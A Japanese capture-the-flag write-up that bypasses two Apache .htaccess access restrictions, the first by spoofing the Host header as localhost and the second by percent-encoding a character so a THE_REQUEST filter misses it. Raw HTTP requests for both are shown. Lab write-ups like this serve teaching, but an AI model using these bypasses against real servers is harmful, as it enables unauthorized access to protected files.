Rating:

`/one/flag.txt`と、`/two/flag.txt`にそれぞれ.htaccessファイルを使ったアクセス制限がかかっているのでbypassせよという問題。

## one

.htaccessは以下。

```
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
```

書き換えの条件として、HTTPリクエストのHostヘッダーがlocalhostでないという条件になっている。
普通にアクセスすると以下のような感じ。

```
GET /one/flag.txt HTTP/1.1
Host: htaccess.uctf.ir
Connection: close

```

これでは条件に合致して書き換えられるので、Hostヘッダーを変更して送るとフラグがもらえる。

```
GET /one/flag.txt HTTP/1.1
Host: localhost
Connection: close

```

## two

.htaccessは以下。

```
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]
```

自分のCTFメモ帳にこの状況に完全に合致する記載があった。

```
- `RewriteCond %{THE_REQUEST} flag`みたいにTHE_REQUESTで制限がある場合はパーセントエンコーディングでbypass可能
- `%{THE_REQUEST}`は`GET /two/fla%67.txt HTTP/1.1`みたいに1行目をそのまま持ってきているので、パーセントエンコーディングしてあれば引っかからない。だが、使われるときはパーセントエンコーディングが解かれているので、gを%67に変換してやるみたいなことをするだけでいい
```

ん?と一瞬思ったが、まあ、とりあえず気にしないことにして、このメモにあるように、パーセントエンコーディングして出すと後半がもらえる。

```
GET /two/fla%67.txt HTTP/1.1
Host: htaccess.uctf.ir

```

過去問題の流用だった。過去に解説書いていた
https://blog.hamayanhamayan.com/entry/2022/09/25/232936#web-helicoptering

Original writeup (https://blog.hamayanhamayan.com/entry/2023/09/04/232413).